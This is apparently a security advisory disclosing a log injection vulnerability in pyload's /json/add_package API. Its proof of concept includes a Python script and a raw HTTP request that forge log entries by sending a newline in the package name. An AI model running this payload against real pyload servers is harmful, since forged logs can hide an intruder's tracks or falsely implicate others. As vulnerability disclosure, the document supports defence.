  "details": "### Summary\nA log injection vulnerability was identified in `pyload` in API `/json/add_package`. This vulnerability allows user with add packages permission to inject arbitrary messages into the logs gathered by `pyload`.\n### Details\n`pyload` will generate a log entry when creating new package using API `/json/add_package`. This entry will be in the form of `Added package \u0027NAME_OF_PACKAGE\u0027 containing \u0027NUMBER_OF_LINKS\u0027 links`. However, when supplied with the name of new package containing a newline, this newline is not properly escaped. Newlines are also the delimiter between log entries. This allows the attacker to inject new log entries into the log file.\n\n### PoC\nRun `pyload` in the default configuration by running the following command\n```\npyload\n```\nWe can now sign in as the pyload user who at least have add packages permissions. In my example, I will use the admin account to demonstrate this vulnerability. Now as an admin user, view the logs at `http://localhost:8000/logs`\n\u003cimg width=\"1918\" height=\"912\" alt=\"image\" src=\"https://github.com/user-attachments/assets/e6510af6-768b-4ddd-a4f2-3972618e1d37\" /\u003e\nAny attacker who at least have add packages permissions can now make the following request by crafting a python code to inject arbitrary logs.\n```\nimport requests\n\nsession = requests.session()\n\nburp0_url = \"http://localhost:8000/json/add_package\"\nburp0_cookies = {\"pyload_session_8000\": \"SESSION-ID-HERE\"}\nburp0_headers = {\"sec-ch-ua-platform\": \"\\\"Windows\\\"\", \"Accept-Language\": \"en-US,en;q=0.9\", \"sec-ch-ua\": \"\\\"Not)A;Brand\\\";v=\\\"8\\\", \\\"Chromium\\\";v=\\\"138\\\"\", \"sec-ch-ua-mobile\": \"?0\", \"X-Requested-With\": \"XMLHttpRequest\", \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36\", \"Accept\": \"*/*\", \"Content-Type\": \"multipart/form-data; boundary=----WebKitFormBoundaryqRJM6zIUcE7ttXDf\", \"Origin\": \"http://localhost:8000\", \"Sec-Fetch-Site\": \"same-origin\", \"Sec-Fetch-Mode\": \"cors\", \"Sec-Fetch-Dest\": \"empty\", \"Referer\": \"http://localhost:8000/collector\", \"Accept-Encoding\": \"gzip, deflate, br\", \"Connection\": \"keep-alive\"}\nburp0_data = \"------WebKitFormBoundaryqRJM6zIUcE7ttXDf\\r\\nContent-Disposition: form-data; name=\\\"add_name\\\"\\r\\n\\r\\nFake new package containing 1 links\\r\\n[2025-07-23 04:32:19]  PWNED               SeaWind  GET PWNED\\r\\n[2025-07-23 04:32:19]  INFO                pyload Added package Normal package\\r\\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\\r\\nContent-Disposition: form-data; name=\\\"add_links\\\"\\r\\n\\r\\n123\\r\\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\\r\\nContent-Disposition: form-data; name=\\\"add_password\\\"\\r\\n\\r\\n123\\r\\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\\r\\nContent-Disposition: form-data; name=\\\"add_file\\\"; filename=\\\"tt\\\"\\r\\nContent-Type: application/octet-stream\\r\\n\\r\\n\\r\\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\\r\\nContent-Disposition: form-data; name=\\\"add_dest\\\"\\r\\n\\r\\n0\\r\\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf--\\r\\n\"\nsession.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)\n```\nThe Burpsuite HTTP Request for the above code\n```\nPOST /json/add_package HTTP/1.1\nHost: localhost:8000\nContent-Length: 799\nsec-ch-ua-platform: \"Windows\"\nAccept-Language: en-US,en;q=0.9\nsec-ch-ua: \"Not)A;Brand\";v=\"8\", \"Chromium\";v=\"138\"\nsec-ch-ua-mobile: ?0\nX-Requested-With: XMLHttpRequest\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36\nAccept: */*\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryqRJM6zIUcE7ttXDf\nOrigin: http://localhost:8000\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: cors\nSec-Fetch-Dest: empty\nReferer: http://localhost:8000/collector\nAccept-Encoding: gzip, deflate, br\nCookie: pyload_session_8000=SESSIONS-ID-HERE\nConnection: keep-alive\n\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\nContent-Disposition: form-data; name=\"add_name\"\n\nFake new package containing 1 links\n[2025-07-23 04:32:19]  HACKER               SeaWind  GET PWNED\n[2025-07-23 04:32:19]  INFO               pyload Added package Normal package\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\nContent-Disposition: form-data; name=\"add_links\"\n\n123\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\nContent-Disposition: form-data; name=\"add_password\"\n\n123\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\nContent-Disposition: form-data; name=\"add_file\"; filename=\"tt\"\nContent-Type: application/octet-stream\n\n\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\nContent-Disposition: form-data; name=\"add_dest\"\n\n0\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf--\n\n```\nAfter executing the following python code and send the request successfully, if we now were to look at the logs again, we see that the entry has successfully been injected.\n\u003cimg width=\"1920\" height=\"911\" alt=\"image\" src=\"https://github.com/user-attachments/assets/0e77c7ac-e5f6-4227-843a-ef548071bf02\" /\u003e\n\n### Impact\nForged or otherwise, corrupted log files can be used to cover an attacker\u2019s tracks or even to implicate another party in the commission of a malicious act.",
